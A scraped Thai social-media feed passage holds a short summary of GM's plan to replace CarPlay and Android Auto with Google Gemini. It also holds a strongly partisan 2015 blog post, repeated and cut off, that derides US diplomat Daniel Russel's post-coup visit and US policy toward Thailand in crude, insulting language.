    แทนที่ด้วย Gemini — ผู้ช่วย AI จาก Google
    เริ่มใช้งานในรถยนต์ทุกประเภทตั้งแต่ปี 2026

    ความสามารถของ Gemini
    โต้ตอบด้วยภาษาธรรมชาติ เข้าใจคำสั่งซับซ้อน
    เชื่อมโยงกับข้อมูลรถแบบเรียลไทม์
    ตอบคำถามเกี่ยวกับสถานที่หรือฟังก์ชันของรถ
    แจ้งเตือนซ่อมบำรุงและช่วยวางแผนเส้นทาง

    การอัปเดตและการรองรับ
    อัปเดตผ่าน OTA ผ่าน Google Play Store
    รองรับรถยนต์ที่มี OnStar ตั้งแต่ปี 2015 ขึ้นไป
    ผู้ใช้สามารถควบคุมข้อมูลส่วนตัวได้

    แผนระยะยาวของ GM
    พัฒนาแพลตฟอร์มคอมพิวเตอร์ในรถยนต์ของตนเอง
    เตรียมเปิดตัวระบบขับเคลื่อนอัตโนมัติภายในปี 2028

    https://securityonline.info/gm-bets-on-ai-gemini-to-replace-carplay-android-auto-in-all-cars-by-2026/
    🚗 GM ปฏิวัติระบบรถยนต์: ใช้ Gemini แทน CarPlay และ Android Auto ภายในปี 2026 General Motors (GM) ประกาศแผนการครั้งใหญ่ในการยกเลิกการรองรับ Apple CarPlay และ Android Auto ในรถยนต์ทุกประเภท ทั้งไฟฟ้าและน้ำมัน เพื่อเปิดทางให้กับ Gemini — ระบบผู้ช่วย AI จาก Google ที่จะถูกฝังเข้าไปในรถยนต์ของ GM ตั้งแต่ปี 2026 เป็นต้นไป Gemini จะทำหน้าที่เป็นผู้ช่วยส่วนตัวในรถยนต์ที่สามารถโต้ตอบด้วยภาษาธรรมชาติ เข้าใจคำสั่งที่ซับซ้อน และเชื่อมโยงกับข้อมูลของรถแบบเรียลไทม์ เช่น การแจ้งเตือนซ่อมบำรุง การวางแผนเส้นทาง หรือแม้แต่การตอบคำถามเกี่ยวกับสถานที่ที่กำลังขับผ่าน เช่น “สะพานนี้มีประวัติอย่างไร” ระบบใหม่นี้จะถูกอัปเดตผ่าน OTA (Over-the-Air) ผ่าน Google Play Store สำหรับรถยนต์ที่มีระบบ OnStar ตั้งแต่รุ่นปี 2015 ขึ้นไป โดย GM ยืนยันว่าจะให้ผู้ใช้ควบคุมข้อมูลส่วนตัวอย่างเต็มที่ หลังจากเคยถูกวิจารณ์เรื่องการแชร์ข้อมูลกับบริษัทประกันภัย Gemini ไม่ใช่แค่การเปลี่ยนผู้ช่วยเสียง แต่เป็นก้าวแรกสู่แพลตฟอร์มคอมพิวเตอร์ในรถยนต์ที่ GM พัฒนาขึ้นเอง ซึ่งจะรองรับระบบขับเคลื่อนอัตโนมัติในอนาคตภายในปี 2028 ✅ การเปลี่ยนแปลงครั้งใหญ่ของ GM ➡️ ยกเลิกการรองรับ Apple CarPlay และ Android Auto ➡️ แทนที่ด้วย Gemini — ผู้ช่วย AI จาก Google ➡️ เริ่มใช้งานในรถยนต์ทุกประเภทตั้งแต่ปี 2026 ✅ ความสามารถของ Gemini ➡️ โต้ตอบด้วยภาษาธรรมชาติ เข้าใจคำสั่งซับซ้อน ➡️ เชื่อมโยงกับข้อมูลรถแบบเรียลไทม์ ➡️ ตอบคำถามเกี่ยวกับสถานที่หรือฟังก์ชันของรถ ➡️ แจ้งเตือนซ่อมบำรุงและช่วยวางแผนเส้นทาง ✅ การอัปเดตและการรองรับ ➡️ อัปเดตผ่าน OTA ผ่าน Google Play Store ➡️ รองรับรถยนต์ที่มี OnStar ตั้งแต่ปี 2015 ขึ้นไป ➡️ ผู้ใช้สามารถควบคุมข้อมูลส่วนตัวได้ ✅ แผนระยะยาวของ GM ➡️ พัฒนาแพลตฟอร์มคอมพิวเตอร์ในรถยนต์ของตนเอง ➡️ เตรียมเปิดตัวระบบขับเคลื่อนอัตโนมัติภายในปี 2028 https://securityonline.info/gm-bets-on-ai-gemini-to-replace-carplay-android-auto-in-all-cars-by-2026/
    SECURITYONLINE.INFO
    GM Bets on AI: Gemini to Replace CarPlay/Android Auto in All Cars by 2026
    GM is integrating Google Gemini into all vehicles by 2026, creating a natural-language AI assistant and phasing out both Apple CarPlay and Android Auto.
    0 Comments 0 Shares 100 Views 0 Reviews
  • เรื่อง เสือกซ้ำซาก
    “เสือกซ้ำซาก”

    วันก่อน แฟนเพจท่านหนึ่งเพิ่งเขียนถามหน้าจอว่า “ลุงครับ ตาแดเนียล รัสเซล เขาจะมาหลอกล่อ ล้วงตับอะไรสมันน้อยไหม ตานี่ประวัติไม่ธรรมดา สงสัยมากดดันให้เลือกตั้งไวๆ ….”

    ผมละดีใจมาก ที่แฟนเพจนิทาน ตื่นตัว หูตากว้างไกล มองเห็นภัยของการเป็นสมันน้อยมากขึ้น ผมก็ตอบไปตามการวิเคราะห์ว่า ” เป็นจังหวะที่อเมริกาต้องมาตรวจแถว ก่อนจัดระเบียบแถวใหม่ และอื่นๆครับ อื่นๆ นี่ต้องไปถามท่านผู้นำเอง “

    ผมวิเคราะห์จากการขยับหมากตัวอื่นๆของไอ้นักล่าใบตองแห้ง ผมคิดว่ามันกำลังเตรียมแผน และตามนิสัยมัน ก่อนจะสรุปแผน ไอ้นักล่าต้องตรวจสอบทุกเรื่องก่อน และแน่นอนในการตรวจสอบ ก็คงทำการเสือกเหมือนเคย และผมก็เบื่อที่จะต้องด่าถึงความเสือกอย่างซ้ำซากของพวกมัน

    แต่วันนี้พอผมเปิดเครื่อง ผมยิ่งดีใจใหญ่ ที่มีหลายท่าน อินบ๊อกซ์เข้ามาด่าไอ้เวรทิ้งไว้ให้ผมอ่าน แสดงว่าเราไม่ได้เป็นสมันน้อยแล้ว เรารู้สึกไม่พอใจเป็นแล้ว และถ้าเราไม่พูดอะไรเสียเลย เดี๋ยวมันก็จะนึกว่าเราก็ไม่รู้ สึกรู้สา นึกว่าเราเป็นขี้ข้า อย่างเคยๆ กระดิกนิ้วเมื่อไหร่ก็มา ชี้ด่าเมื่อไหร่ก็ได้ เป็นสมันน้อยเหมือนเดิม งั้นวันนี้เราต้องฉลองการเลิกเป็นสมันน้อยของพวกเรา อย่างน้อยก็พวกเราในเพจนิทานล่ะครับ และผมเชื่อว่า มีคนไทยอีกมากมาย ที่ไม่อยากเป็นสมันน้อย และกำลังหาทางแหกคอกออกมา

    นายดาเนียล รัสเซล Daniel R Russel นี่เป็นใคร เขาเป็นผู้ช่วยรัฐมนตรีต่างประเทศ ดูแลกิจการด้านเอเซียตะวันออกและแปซิฟิก ก่อนหน้ารับตำแหน่งนี้ เมื่อกรกฏาคม 2013 เขาเป็นที่ปรึกษาอาวุโสของประธานาธิบดีโอบามา ในการวางนโยบาย ปรับกำลังมาทางแปซิฟิกมากขึ้น Pivot To Asia

    คงจำกันได้ ก่อนหน้านั้น อเมริกาวางน้ำหนักความสำคัญด้านความมั่นคงให้ทางยุโรป โดยผ่านกองกำลังนาโต้ 60% และให้น้ำหนักทางแปซิฟิก 40% แต่เมื่อเกิดอาการช๊อก ที่เห็นอาเฮียโตเร็วเกินคาดในปี 2012 อเมริกาจึงรีบปรับนโยบาย ตอนนั้นคุณนายคลินตันเป็นรัฐมนตรีต่างประเทศ เดินสายแถวแปซิฟิกเสียหน้าเหี่ยว และตอนนั้นอเมริกาก็คงพอใจ ที่ไทยแลนด์ แดนสมันน้อย มีรัฐบาลที่ทำหน้าที่เหมือนเป็นพรมเช็ดเท้าให้อเมริกา เพราะมีหัวหน้ารัฐบาลที่แม้แต่พูดภาษาคนธรรมดายังไม่รู้เรื่อง อย่าว่าแต่พูดภาษาราชการ หรือภาษาการฑูตเลย

    แน่นอน นายเดเนียล รัสเซล ผู้มีส่วนสำคัญในการปรับนโยบายใหม่ คงยืดน่าดู เพราะได้เลื่อนตำแหน่งมาเป็นผู้ช่วยรัฐมนตรี ดูแลแปซิฟิกสมใจ

    5 กุมภาพันธ์ 2014 จากรายงานข่าวแจกของกระทรวงต่างประเทศ ที่วอชิงตัน บอกว่า อเมริกากำลังปรับดุลในภูมิภาคเอเซียแปซิฟิก “rebalance” โดยนายรัสเซลบอกว่า เราต้องใช้กำลังพลด้านการฑูตเพิ่มอีกมาก เพื่อให้ได้ตามวัตถุประสงค์ของ เรา rebalance นี้ จะครอบคลุมไปถึงเรื่อง เศรษฐกิจ ความมั่นคง สิ่งแวดล้อม ฯลฯ โดยจะเน้นเรื่อง Trans -Pacific Partnership (TPP) และเรื่องขัดแย้งในทะเลจีน โดยเฉพาะเกี่ยวกับเรื่อง Air Defense Indentification Zone (ADIZ) ที่จีนประกาศใช้ในทะเลจีนตะวันออก ซึ่งอเมริกาไม่ชอบใจ
    แหม! อ่านตั้งนาน กว่าไต๋จะโผล่ นักล่าหงุดหงิดเรื่องนี้เอง แปลว่า ไอ้ที่อเมริกาเคยบินโฉบไปแอบดูอาหม่วยแถวนั้น โดยไม่แจง ไม่แจ้งน่ะ ทำไม่ได้แล้วนะ

    นายรัสเซล ยังบอกอีกว่า สหรัฐอเมริกา ในฐานะผู้ยิ่งใหญ่ของโลก และของแปซิฟิก มีสเต็กชิ้นใหญ่อยู่ในแปซิฟิก ที่จำเป็นจะต้องให้เอเซียแปซิฟิก เปิดประตูกว้างเอาไว้ เพื่อเดินเข้าไปกินสะดวก แปลว่าตอนนี้กินสเต็กไม่สะดวก เพราะจีนกำลังขวางทางเข้าไปกิน

    อ่านต่อไม่ไหวครับ ยาแก้คลื่นไส้ ไม่ช่วยเลย

    ขอเปลี่ยนไปต่อ ที่การเสนอข่าวฉบับนี้ ที่ผมว่าน่าสนใจกว่าที่ ไอ้ขี้โม้รัสเซลพูดอีก

    เป็นการเสนอข่าวของ นายกวี จงกิจถาวร ใน นสพ. The Nation เมื่อวันที่ 12 มกราคม 2015 นี้เอง หัวเรื่อง ” Are Thai-US relations warming up slowly?”
    http://www.nationmultimedia.com/opinion/Are-Thai-US-relations-warming-up-slowly-30251708.html

    ก่อนไปถึงเนื้อข่าว ขอให้ข้อมูลท่านผู้อ่านเสียหน่อยว่า จากข้อมูลของวิกิลีกซ์ ที่หล่นมาให้พวกเราหูตาสว่างกัน เมื่อประมาณ 3 ปีก่อนนั้น นายกวี เป็นนักข่าว ที่มีชื่อปรากฏอยู่ในรายงานของสถานฑูตอเมริกัน ประจำราชอาณาจักรไทย เกือบทุกครั้งที่มีการหารือระหว่างเจ้าหน้าที่สถานทูต หรือมีนายใหญ่จากวอชิงตันมา นายกวีจะต้องร่วมหารือและให้ความเห็นในฐานะสื่อใหญ่ของไทยเสมอ พูดง่ายๆว่า ไม่มากไม่น้อย อเมริกาก็เห็น หรือรู้จักประเทศไทย จากสายตาและความคิดของนายกวี ซึ่งก็มีข่าวว่า อเมริกายกย่องและดูแลอย่างดี

    เนื้อข่าวของนายกวี สรุปว่า นายรัสเซลมาเมืองไทยเมื่อเดือนเมษายน ปี 2014 และให้สัมภาษณ์กับ Thai PBS ว่า เขามีความหวังว่าไทยจะมีการเลือกตั้ง ผ่านระบบการเลือกตั้ง ซึ่งไทยควรมีการเลือกตั้งเช่นนั้น เพื่อที่จะสมกับการเป็นมิตรที่อเมริกาไว้วางใจ แต่หลังจากนั้น 44 วัน โดยไม่มีใครรู้ตัว (รวมทั้งนายรัสเซล และนายกวี ?!) ทหารก็ทำการยึดอำนาจ

    วอชิงตันแปลกใจมาก เพราะไม่ได้รู้ข่าวมาก่อน และนั่นเป็นสาเหตุที่นาย Kerry มีปฏิกริยารุนแรงกับไทย แล้วสัมพันธ์ระหว่างไทยกับอเมริกา ก็ลงเหวอย่างรวดเร็ว โดยไม่เห็นหนทางที่จะเยียวยาให้ดีขึ้น Thai-US relations quickly went downhill without any prospect of amelioration !

    ว้าย ตาเถรหก! ผมอ่านแล้วตกใจแทบสิ้นสติ อ่านข่าวแจกของฝร้่ง ต้องกินยาแก้คลื่นไส้ แต่พอมาอ่านข่าวคนไทยเขียน ผมต้องรีบให้เด็กเอายาหอมมาให้!
    ผมไม่เคยรู้สึกเลยว่าการปฏิวัติของคุณพี่ตู่ มันน่ากลัวถึงขนาดนั้น แต่พอมาอ่านที่นายกวีเขียนว่า ถึงขนาดที่เราจะขาดมิตร ที่คบกับมากว่า 70 ปี โดย อย่างไม่เห็นหนทางเยียวยาเอาเลย นี่ ผมเลยลมรับประทาน….ด้วยความดีใจ…… ขอให้มันเป็นหยั่งงั้นเถิด เจ้าประคู้น เอ้า! แล้วนี่เสือกมาทำไมล่ะ มากรีดซ้ำเป็นการเยียวยาหรือยังไง เดี๋ยวต้องคอยตามอ่าน บทความของนายกวีเสียแล้วสินะ

    นายกวีขู่ผมต่อ …. หลังจาก 259 วันที่ปราศจากการติดต่อระดับรัฐมนตรี สัมพันธ์ที่เย็นยะเยือกของไทย-อเมริกัน ก็เริ่มปรับตัวอุ่นขึ้น ด้วยการมา (โปรด!) ของนายรัสเซล เขาบอกว่าระหว่าง 2 วัน ที่อยู่เมืองไทย เขาจะมาทำทุกอย่างที่เขาจะทำได้ให้อุ่นขึ้น เขาเน้นว่า ผู้บริหารระดับสูงของอเมริกา ยังไม่ติดต่อกับรัฐบาลไทยเลยนะ และนอกจากอเมริกาแล้ว EU ก็ยังไม่กลับมามีสัมพันธ์ปรกติกับไทยด้วย รอจนกว่าไทยจะมีการเลือกตั้งก่อน …

    กิจกรรมแรก ที่ไทยจะมีร่วมกับอเมริกาในต้นปีนี้คือ การฝึกประจำปี Cobra Gold ซึ่งไทยเป็นเจ้าภาพร่วมกับอเมริกามา 3 ทศวรรษ สำหรับปีนี้ จะมีขึ้นในช่วงวันที่ 10 กุมภาพันธ์ ที่นครนายก แม้ว่าจะมีการเรียกร้องให้ไปจัดที่อื่น หลังจากที่ไทยมีการปฏิวัติ คราวนี้การฝึกคงเป็นระดับเล็กลง และประชาสัมพันธ์น้อยลง อืม..,

    เดี๋ยวนี้ ประเทศไทยดูเหมือนจะมีความหลากหลายในการสร้างมั่นคงของตน ถ้าใช้ตามวลีอันขึ้นชื่อของอดีตรัฐมนตรีกลาโหม นาย Donald Rumsfeld ก็ต้องบอกว่า ประเทศไทยกำลังเปลี่ยนไป จากการคบคนเคยรู้กันแล้ว เป็นการคบกับคนที่ไม่เคยรู้กัน ( known-knowns เป็น known-unknowns) ที่ผ่านมาไม่กี่เดือน ประเทศไทยมีการเจรจา และมีโครงการด้านความมั่นคงกับจีน รัสเซีย เวียตนาม..

    เอาละครับ สรุปมาให้ฟัง ทั้งที่ฝรั่งแจก กับไทยเขียนแทนฝรั่ง คงเห็นกันแล้วว่า อเมริกากำลังคิดอย่างไร

    – อเมริกา หน้าแตก แหกเป็นริ้ว มานั่งคุยจ้อเรื่องเลือกตั้ง นึกว่าสั่งแล้ว เขารู้เรื่องทำตาม ที่ไหนได้ กลับบ้านไป 44 วันเขาปฏิวัติ ไม่หน้าแหกยังไง จมูก CIA เสียหมดหรือไง ถึงดมกลิ่นปฏิวัติไม่เจอเลย แถมไอ้ลูกพี่ ที่มานั่งคุยกร่าง ยังจับทางไม่ได้ นั่งอยู่กลางบ้านเขาแท้ๆ ยังงี้มันน่าปลดให้หมด แล้วไอ้คนไทยที่เลี้ยงไว้เป็นสายสืบ ก็ต้องปลดด้วย ลูกเต้าที่ส่งเสียให้เรียนมหาวิทยาลัยดัง ส่งกลับไปอยู่วัดจานบินให้หมด

    – อุตส่าห์คิดนโยบายใหม่ ไล่บี้ไอ้พวกลูกหาบ แถวเอเซียแปซิฟิกแรงๆ ให้มันไปช่วยกดดันจีน ดันบี้แรงไปหน่อย ทำท่าจะแหกคอก แตกแถว ไปอยู่ฝั่งโน้น อย่างนี้ ยิ่งกว่าหน้าแตก มันหน้าหัก หักหน้ากัน ไม่ตามมาด่าซ้ำถึงกลางบ้านได้ยังไง เด็กเลี้ยงมา 70 ปี มาทำหือ อย่างนีต้องเจอโทษหนักแน่นอน

    – แต่ที่แสดงความหมดท่า เสียที คือ อุตส่าห์คิดนโยบายใหม่ ย้ายมากดดันจีน
    ลืมระวังอีกข้าง ถูกลูกหลอกฝั่งรัสเซียจีนผลัดกันโหม่ง วิ่งรับลูกผิดทาง เจอคุณพี่ปูตินซัดเต็มเหนี่ยว เกี่ยวเอาไครเมีย กล่องดวงใจกลับไปกก อันนี้มันเป็นเรื่อง แค้นนี้ต้องชำระ

    – แล้วใครล่ะ ที่เดินจ๋อยๆ เป็นสมันน้อยน่ารัก แต่จับมือกับเขาไปทั่ว ไอ้รูปจับมือ สร้างทางรถไฟนี่ มันต้องคารวะให้ 3 จอก จังหวะดีเหลือเชื่อ
    เอาแค่ตัวอย่างที่ยกมา ผมจึงไม่แปลกใจ ที่จะมีไอ้บ้าอะไรสักตัว มานั่งพล่าม นั่งเสือกยุ่งอยู่ในบ้านคนอื่นเขา เขาจัดการเรื่องบ้านเมืองของเขา ตามที่เขาเห็นเหมาะสม มันต้องเสือกอะไรด้วย เราไม่ได้เป็นเมืองขึ้นของใคร ไม่ได้เป็นทาสของใคร อย่าไปสนใจ ตกใจกับเสียงเห่า ตามสันดานของพวกหวงรางหญ้าครับ ปล่อยให้มันบ้าไป คุณพี่ตู่ท่านทำถูกแล้วที่ไม่รับนัด จริงๆ ไม่ควรมีใครรับนัดเลย ปล่อยให้มันคุยแต่กับนังเอ๋อ รายเดียวเหมาะสมกันดีจะตาย

    สวัสดีครับ
    ลุงนิทาน
    27 มกราคม 2558

    U.S. to Intensify Rebalancing in Asia in 2014
    https://geneva.usmission.gov/2014/02/06/u-s-to-intensify-rebalancing-in-asia-in-2014/
    เรื่อง เสือกซ้ำซาก “เสือกซ้ำซาก” วันก่อน แฟนเพจท่านหนึ่งเพิ่งเขียนถามหน้าจอว่า “ลุงครับ ตาแดเนียล รัสเซล เขาจะมาหลอกล่อ ล้วงตับอะไรสมันน้อยไหม ตานี่ประวัติไม่ธรรมดา สงสัยมากดดันให้เลือกตั้งไวๆ ….” ผมละดีใจมาก ที่แฟนเพจนิทาน ตื่นตัว หูตากว้างไกล มองเห็นภัยของการเป็นสมันน้อยมากขึ้น ผมก็ตอบไปตามการวิเคราะห์ว่า ” เป็นจังหวะที่อเมริกาต้องมาตรวจแถว ก่อนจัดระเบียบแถวใหม่ และอื่นๆครับ อื่นๆ นี่ต้องไปถามท่านผู้นำเอง “ ผมวิเคราะห์จากการขยับหมากตัวอื่นๆของไอ้นักล่าใบตองแห้ง ผมคิดว่ามันกำลังเตรียมแผน และตามนิสัยมัน ก่อนจะสรุปแผน ไอ้นักล่าต้องตรวจสอบทุกเรื่องก่อน และแน่นอนในการตรวจสอบ ก็คงทำการเสือกเหมือนเคย และผมก็เบื่อที่จะต้องด่าถึงความเสือกอย่างซ้ำซากของพวกมัน แต่วันนี้พอผมเปิดเครื่อง ผมยิ่งดีใจใหญ่ ที่มีหลายท่าน อินบ๊อกซ์เข้ามาด่าไอ้เวรทิ้งไว้ให้ผมอ่าน แสดงว่าเราไม่ได้เป็นสมันน้อยแล้ว เรารู้สึกไม่พอใจเป็นแล้ว และถ้าเราไม่พูดอะไรเสียเลย เดี๋ยวมันก็จะนึกว่าเราก็ไม่รู้ สึกรู้สา นึกว่าเราเป็นขี้ข้า อย่างเคยๆ กระดิกนิ้วเมื่อไหร่ก็มา ชี้ด่าเมื่อไหร่ก็ได้ เป็นสมันน้อยเหมือนเดิม งั้นวันนี้เราต้องฉลองการเลิกเป็นสมันน้อยของพวกเรา อย่างน้อยก็พวกเราในเพจนิทานล่ะครับ และผมเชื่อว่า มีคนไทยอีกมากมาย ที่ไม่อยากเป็นสมันน้อย และกำลังหาทางแหกคอกออกมา นายดาเนียล รัสเซล Daniel R Russel นี่เป็นใคร เขาเป็นผู้ช่วยรัฐมนตรีต่างประเทศ ดูแลกิจการด้านเอเซียตะวันออกและแปซิฟิก ก่อนหน้ารับตำแหน่งนี้ เมื่อกรกฏาคม 2013 เขาเป็นที่ปรึกษาอาวุโสของประธานาธิบดีโอบามา ในการวางนโยบาย ปรับกำลังมาทางแปซิฟิกมากขึ้น Pivot To Asia คงจำกันได้ ก่อนหน้านั้น อเมริกาวางน้ำหนักความสำคัญด้านความมั่นคงให้ทางยุโรป โดยผ่านกองกำลังนาโต้ 60% และให้น้ำหนักทางแปซิฟิก 40% แต่เมื่อเกิดอาการช๊อก ที่เห็นอาเฮียโตเร็วเกินคาดในปี 2012 อเมริกาจึงรีบปรับนโยบาย ตอนนั้นคุณนายคลินตันเป็นรัฐมนตรีต่างประเทศ เดินสายแถวแปซิฟิกเสียหน้าเหี่ยว และตอนนั้นอเมริกาก็คงพอใจ ที่ไทยแลนด์ แดนสมันน้อย มีรัฐบาลที่ทำหน้าที่เหมือนเป็นพรมเช็ดเท้าให้อเมริกา เพราะมีหัวหน้ารัฐบาลที่แม้แต่พูดภาษาคนธรรมดายังไม่รู้เรื่อง อย่าว่าแต่พูดภาษาราชการ หรือภาษาการฑูตเลย แน่นอน นายเดเนียล รัสเซล ผู้มีส่วนสำคัญในการปรับนโยบายใหม่ คงยืดน่าดู เพราะได้เลื่อนตำแหน่งมาเป็นผู้ช่วยรัฐมนตรี ดูแลแปซิฟิกสมใจ 5 กุมภาพันธ์ 2014 จากรายงานข่าวแจกของกระทรวงต่างประเทศ ที่วอชิงตัน บอกว่า อเมริกากำลังปรับดุลในภูมิภาคเอเซียแปซิฟิก “rebalance” โดยนายรัสเซลบอกว่า เราต้องใช้กำลังพลด้านการฑูตเพิ่มอีกมาก เพื่อให้ได้ตามวัตถุประสงค์ของ เรา rebalance นี้ จะครอบคลุมไปถึงเรื่อง เศรษฐกิจ ความมั่นคง สิ่งแวดล้อม ฯลฯ โดยจะเน้นเรื่อง Trans -Pacific Partnership (TPP) และเรื่องขัดแย้งในทะเลจีน โดยเฉพาะเกี่ยวกับเรื่อง Air Defense Indentification Zone (ADIZ) ที่จีนประกาศใช้ในทะเลจีนตะวันออก ซึ่งอเมริกาไม่ชอบใจ แหม! อ่านตั้งนาน กว่าไต๋จะโผล่ นักล่าหงุดหงิดเรื่องนี้เอง แปลว่า ไอ้ที่อเมริกาเคยบินโฉบไปแอบดูอาหม่วยแถวนั้น โดยไม่แจง ไม่แจ้งน่ะ ทำไม่ได้แล้วนะ นายรัสเซล ยังบอกอีกว่า สหรัฐอเมริกา ในฐานะผู้ยิ่งใหญ่ของโลก และของแปซิฟิก มีสเต็กชิ้นใหญ่อยู่ในแปซิฟิก ที่จำเป็นจะต้องให้เอเซียแปซิฟิก เปิดประตูกว้างเอาไว้ เพื่อเดินเข้าไปกินสะดวก แปลว่าตอนนี้กินสเต็กไม่สะดวก เพราะจีนกำลังขวางทางเข้าไปกิน อ่านต่อไม่ไหวครับ ยาแก้คลื่นไส้ ไม่ช่วยเลย ขอเปลี่ยนไปต่อ ที่การเสนอข่าวฉบับนี้ ที่ผมว่าน่าสนใจกว่าที่ ไอ้ขี้โม้รัสเซลพูดอีก เป็นการเสนอข่าวของ นายกวี จงกิจถาวร ใน นสพ. The Nation เมื่อวันที่ 12 มกราคม 2015 นี้เอง หัวเรื่อง ” Are Thai-US relations warming up slowly?” http://www.nationmultimedia.com/opinion/Are-Thai-US-relations-warming-up-slowly-30251708.html ก่อนไปถึงเนื้อข่าว ขอให้ข้อมูลท่านผู้อ่านเสียหน่อยว่า จากข้อมูลของวิกิลีกซ์ ที่หล่นมาให้พวกเราหูตาสว่างกัน เมื่อประมาณ 3 ปีก่อนนั้น นายกวี เป็นนักข่าว ที่มีชื่อปรากฏอยู่ในรายงานของสถานฑูตอเมริกัน ประจำราชอาณาจักรไทย เกือบทุกครั้งที่มีการหารือระหว่างเจ้าหน้าที่สถานทูต หรือมีนายใหญ่จากวอชิงตันมา นายกวีจะต้องร่วมหารือและให้ความเห็นในฐานะสื่อใหญ่ของไทยเสมอ พูดง่ายๆว่า ไม่มากไม่น้อย อเมริกาก็เห็น หรือรู้จักประเทศไทย จากสายตาและความคิดของนายกวี ซึ่งก็มีข่าวว่า อเมริกายกย่องและดูแลอย่างดี เนื้อข่าวของนายกวี สรุปว่า นายรัสเซลมาเมืองไทยเมื่อเดือนเมษายน ปี 2014 และให้สัมภาษณ์กับ Thai PBS ว่า เขามีความหวังว่าไทยจะมีการเลือกตั้ง ผ่านระบบการเลือกตั้ง ซึ่งไทยควรมีการเลือกตั้งเช่นนั้น เพื่อที่จะสมกับการเป็นมิตรที่อเมริกาไว้วางใจ แต่หลังจากนั้น 44 วัน โดยไม่มีใครรู้ตัว (รวมทั้งนายรัสเซล และนายกวี ?!) ทหารก็ทำการยึดอำนาจ วอชิงตันแปลกใจมาก เพราะไม่ได้รู้ข่าวมาก่อน และนั่นเป็นสาเหตุที่นาย Kerry มีปฏิกริยารุนแรงกับไทย แล้วสัมพันธ์ระหว่างไทยกับอเมริกา ก็ลงเหวอย่างรวดเร็ว โดยไม่เห็นหนทางที่จะเยียวยาให้ดีขึ้น Thai-US relations quickly went downhill without any prospect of amelioration ! ว้าย ตาเถรหก! ผมอ่านแล้วตกใจแทบสิ้นสติ อ่านข่าวแจกของฝร้่ง ต้องกินยาแก้คลื่นไส้ แต่พอมาอ่านข่าวคนไทยเขียน ผมต้องรีบให้เด็กเอายาหอมมาให้! ผมไม่เคยรู้สึกเลยว่าการปฏิวัติของคุณพี่ตู่ มันน่ากลัวถึงขนาดนั้น แต่พอมาอ่านที่นายกวีเขียนว่า ถึงขนาดที่เราจะขาดมิตร ที่คบกับมากว่า 70 ปี โดย อย่างไม่เห็นหนทางเยียวยาเอาเลย นี่ ผมเลยลมรับประทาน….ด้วยความดีใจ…… ขอให้มันเป็นหยั่งงั้นเถิด เจ้าประคู้น เอ้า! แล้วนี่เสือกมาทำไมล่ะ มากรีดซ้ำเป็นการเยียวยาหรือยังไง เดี๋ยวต้องคอยตามอ่าน บทความของนายกวีเสียแล้วสินะ นายกวีขู่ผมต่อ …. หลังจาก 259 วันที่ปราศจากการติดต่อระดับรัฐมนตรี สัมพันธ์ที่เย็นยะเยือกของไทย-อเมริกัน ก็เริ่มปรับตัวอุ่นขึ้น ด้วยการมา (โปรด!) ของนายรัสเซล เขาบอกว่าระหว่าง 2 วัน ที่อยู่เมืองไทย เขาจะมาทำทุกอย่างที่เขาจะทำได้ให้อุ่นขึ้น เขาเน้นว่า ผู้บริหารระดับสูงของอเมริกา ยังไม่ติดต่อกับรัฐบาลไทยเลยนะ และนอกจากอเมริกาแล้ว EU ก็ยังไม่กลับมามีสัมพันธ์ปรกติกับไทยด้วย รอจนกว่าไทยจะมีการเลือกตั้งก่อน … กิจกรรมแรก ที่ไทยจะมีร่วมกับอเมริกาในต้นปีนี้คือ การฝึกประจำปี Cobra Gold ซึ่งไทยเป็นเจ้าภาพร่วมกับอเมริกามา 3 ทศวรรษ สำหรับปีนี้ จะมีขึ้นในช่วงวันที่ 10 กุมภาพันธ์ ที่นครนายก แม้ว่าจะมีการเรียกร้องให้ไปจัดที่อื่น หลังจากที่ไทยมีการปฏิวัติ คราวนี้การฝึกคงเป็นระดับเล็กลง และประชาสัมพันธ์น้อยลง อืม.., เดี๋ยวนี้ ประเทศไทยดูเหมือนจะมีความหลากหลายในการสร้างมั่นคงของตน ถ้าใช้ตามวลีอันขึ้นชื่อของอดีตรัฐมนตรีกลาโหม นาย Donald Rumsfeld ก็ต้องบอกว่า ประเทศไทยกำลังเปลี่ยนไป จากการคบคนเคยรู้กันแล้ว เป็นการคบกับคนที่ไม่เคยรู้กัน ( known-knowns เป็น known-unknowns) ที่ผ่านมาไม่กี่เดือน ประเทศไทยมีการเจรจา และมีโครงการด้านความมั่นคงกับจีน รัสเซีย เวียตนาม.. เอาละครับ สรุปมาให้ฟัง ทั้งที่ฝรั่งแจก กับไทยเขียนแทนฝรั่ง คงเห็นกันแล้วว่า อเมริกากำลังคิดอย่างไร – อเมริกา หน้าแตก แหกเป็นริ้ว มานั่งคุยจ้อเรื่องเลือกตั้ง นึกว่าสั่งแล้ว เขารู้เรื่องทำตาม ที่ไหนได้ กลับบ้านไป 44 วันเขาปฏิวัติ ไม่หน้าแหกยังไง จมูก CIA เสียหมดหรือไง ถึงดมกลิ่นปฏิวัติไม่เจอเลย แถมไอ้ลูกพี่ ที่มานั่งคุยกร่าง ยังจับทางไม่ได้ นั่งอยู่กลางบ้านเขาแท้ๆ ยังงี้มันน่าปลดให้หมด แล้วไอ้คนไทยที่เลี้ยงไว้เป็นสายสืบ ก็ต้องปลดด้วย ลูกเต้าที่ส่งเสียให้เรียนมหาวิทยาลัยดัง ส่งกลับไปอยู่วัดจานบินให้หมด – อุตส่าห์คิดนโยบายใหม่ ไล่บี้ไอ้พวกลูกหาบ แถวเอเซียแปซิฟิกแรงๆ ให้มันไปช่วยกดดันจีน ดันบี้แรงไปหน่อย ทำท่าจะแหกคอก แตกแถว ไปอยู่ฝั่งโน้น อย่างนี้ ยิ่งกว่าหน้าแตก มันหน้าหัก หักหน้ากัน ไม่ตามมาด่าซ้ำถึงกลางบ้านได้ยังไง เด็กเลี้ยงมา 70 ปี มาทำหือ อย่างนีต้องเจอโทษหนักแน่นอน – แต่ที่แสดงความหมดท่า เสียที คือ อุตส่าห์คิดนโยบายใหม่ ย้ายมากดดันจีน ลืมระวังอีกข้าง ถูกลูกหลอกฝั่งรัสเซียจีนผลัดกันโหม่ง วิ่งรับลูกผิดทาง เจอคุณพี่ปูตินซัดเต็มเหนี่ยว เกี่ยวเอาไครเมีย กล่องดวงใจกลับไปกก อันนี้มันเป็นเรื่อง แค้นนี้ต้องชำระ – แล้วใครล่ะ ที่เดินจ๋อยๆ เป็นสมันน้อยน่ารัก แต่จับมือกับเขาไปทั่ว ไอ้รูปจับมือ สร้างทางรถไฟนี่ มันต้องคารวะให้ 3 จอก จังหวะดีเหลือเชื่อ เอาแค่ตัวอย่างที่ยกมา ผมจึงไม่แปลกใจ 